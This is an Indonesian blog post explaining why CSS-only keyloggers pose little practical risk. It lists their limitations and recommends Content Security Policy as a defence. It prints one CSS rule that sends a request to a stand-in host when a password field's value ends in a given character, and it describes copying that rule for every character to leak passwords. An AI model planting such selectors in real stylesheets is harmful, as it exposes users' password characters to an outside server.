Tidak Perlu Khawatir Dengan CSS Keylogger - CRUDPRO

Tidak Perlu Khawatir Dengan CSS Keylogger

Pemilih atribut CSS memungkinkan Anda secara teoritis membuat keylogger dengan CSS murni. Misalnya, pemilih berikut menargetkan semua elemen input [type = "password"] yang karakter terakhirnya adalah:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Secara teoritis, setiap kali pengguna menekan karakter di input [type = "password"], permintaan dibuat ke http://localhost:3000/a, meninggalkan jejak remah roti di log server administrator. Angkat dan pasang kembali. Jika Anda menduplikasi pemilih di atas untuk setiap karakter yang mungkin, Anda akan melihat kata sandi di log server untuk setiap penekanan tombol.

Saya melihat banyak orang terkejut di Twitter karena ini (bagaimana jika itu termasuk dalam tema WordPress yang diinstal?!), tetapi itu tidak benar-benar berfungsi, jadi jangan khawatir. Tidak (Firefox dan Chrome terbaru di macOS):

  • Ini hanya berfungsi jika input memiliki nilai default, bukan saat Anda menekan tombol atau setelah memburamkan bidang.
  • (Tindak lanjut dari 1) Tangkap karakter terakhir kata sandi hanya jika sudah diisi sebelumnya di atribut value.
  • Ini tidak dipicu untuk nilai yang dilengkapi secara otomatis oleh Pengelola Kredensial / Pengelola Kata Sandi pilihan Anda.
  • Dalam hal ini, browser tidak mengambil kembali gambar latar belakang dan tidak dapat memproses karakter berulang (kecuali jika Anda menambahkan header anti-cache ke penerima).
  • Karena paralelisme, server tidak dijamin menerima permintaan sesuai urutan saat dimasukkan.
  • Bagaimana dengan klik mouse (untuk mengubah posisi) dan penggunaan tombol panah/spasi mundur di bidang kata sandi?

Selain itu, Anda dapat dengan mudah mencegahnya di situs Anda dengan mengatur kebijakan keamanan konten yang sesuai.

#UPDATE 2018.02.22: Seperti yang dijelaskan oleh Robin dan Mathias online di bawah ini, masalah dapat terjadi saat menggunakan pengikatan data dua arah, yang cenderung memperbarui atribut nilai setiap kali tombol ditekan (Misalnya, pertimbangkan untuk merender ulang React setelah mengubah state), tetapi dalam hal ini belum menjadi "hanya keylogger CSS".

Upaya lain, seperti keylogger yang menggunakan font web dalam rentang unicode satu karakter(demo di sini), semakin dekat, tetapi mereka bukan keylogger berbasis CSS murni karena tidak dapat menangani karakter berulang.

Jadi jangan khawatir. CSS sendiri masih aman. Data hanya dapat dibocorkan menggunakan teknologi lain (JavaScript). Sekali lagi, Anda masih dapat mencegahnya: Kebijakan Keamanan Konten

.